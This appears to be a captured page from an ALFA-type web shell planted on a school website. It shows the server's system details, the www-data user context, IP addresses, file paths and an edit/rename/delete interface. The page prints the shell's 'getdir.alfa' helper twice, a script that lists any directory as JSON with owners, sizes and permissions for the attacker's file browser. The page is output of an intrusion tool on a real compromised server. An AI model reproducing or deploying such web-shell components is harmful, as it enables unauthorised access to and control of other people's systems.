Apache/2.4.7 (Ubuntu) Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) safemode : OFF MySQL: ON | Perl: ON | cURL: OFF | WGet: ON > / var / www / html / sman1baleendah_sch_id / modul / alfacgiapi / | server ip : 172.67.156.115 your ip : 172.69.214.188 H O M E |
Filename | /var/www/html/sman1baleendah_sch_id/modul/alfacgiapi/getdir.alfa |
Size | 1.24 kb |
Permission | rwxr-xr-x |
Owner | root : root |
Create time | 11-Jun-2025 21:32 |
Last modified | 11-Jun-2025 21:32 |
Last accessed | 05-Jul-2025 15:52 |
Actions | edit | rename | delete | download (gzip) |
View | text | code | image |
#!/usr/bin/sh
DIR=$1
IFS=$'\n'
echo "["
for i in $(ls -a $DIR); do
path="$DIR/$i"
if [[ $i == ".." && -x $(which readlink) ]]; then
path=$(readlink -f $path)
i=$path
fi
info=$(stat -c "%F:%U:%G:%s:%Y:0%a:%A" $path)
IFS=':' read -r -a array <<< "$info"
type=${array[0]}
owner=${array[1]}
group=${array[2]}
size=${array[3]}
modify=${array[4]}
permnum=${array[5]}
permhuman=${array[6]}
new_permhuman=''
for (( ii=0; ii<${#permhuman}; ii++ )); do
new_permhuman+="${permhuman:$ii:1}"
done
permhuman=$new_permhuman
if [[ $permnum == "01777" ]]; then
permnum="0777"
permhuman="drwxrwxrw"
fi
if [[ -w "$path" ]] && [[ -r "$path" ]]; then
permcolor="main_green_perm"
elif [[ -r "$path" ]]; then
permcolor="main_white_perm"
else
permcolor="main_red_perm"
fi
if [[ $type == "directory" ]]; then
type="dir"
elif [[ $type == "regular file" ]] || [[ $type == "regular empty file" ]] || [[ $type == "symbolic link" ]]; then
type="file"
fi
echo {\"name\": \"$i\", \"type\": \"$type\", \"owner\": \"$owner\", \"group\": \"$group\", \"size\": \"$size\", \"modify\": \"$modify\", \"permnum\": \"$permnum\", \"permhuman\": \"$permhuman\", \"permcolor\": \"$permcolor\"},
done
echo "{}]"
DIR=$1
IFS=$'\n'
echo "["
for i in $(ls -a $DIR); do
path="$DIR/$i"
if [[ $i == ".." && -x $(which readlink) ]]; then
path=$(readlink -f $path)
i=$path
fi
info=$(stat -c "%F:%U:%G:%s:%Y:0%a:%A" $path)
IFS=':' read -r -a array <<< "$info"
type=${array[0]}
owner=${array[1]}
group=${array[2]}
size=${array[3]}
modify=${array[4]}
permnum=${array[5]}
permhuman=${array[6]}
new_permhuman=''
for (( ii=0; ii<${#permhuman}; ii++ )); do
new_permhuman+="${permhuman:$ii:1}"
done
permhuman=$new_permhuman
if [[ $permnum == "01777" ]]; then
permnum="0777"
permhuman="drwxrwxrw"
fi
if [[ -w "$path" ]] && [[ -r "$path" ]]; then
permcolor="main_green_perm"
elif [[ -r "$path" ]]; then
permcolor="main_white_perm"
else
permcolor="main_red_perm"
fi
if [[ $type == "directory" ]]; then
type="dir"
elif [[ $type == "regular file" ]] || [[ $type == "regular empty file" ]] || [[ $type == "symbolic link" ]]; then
type="file"
fi
echo {\"name\": \"$i\", \"type\": \"$type\", \"owner\": \"$owner\", \"group\": \"$group\", \"size\": \"$size\", \"modify\": \"$modify\", \"permnum\": \"$permnum\", \"permhuman\": \"$permhuman\", \"permcolor\": \"$permcolor\"},
done
echo "{}]"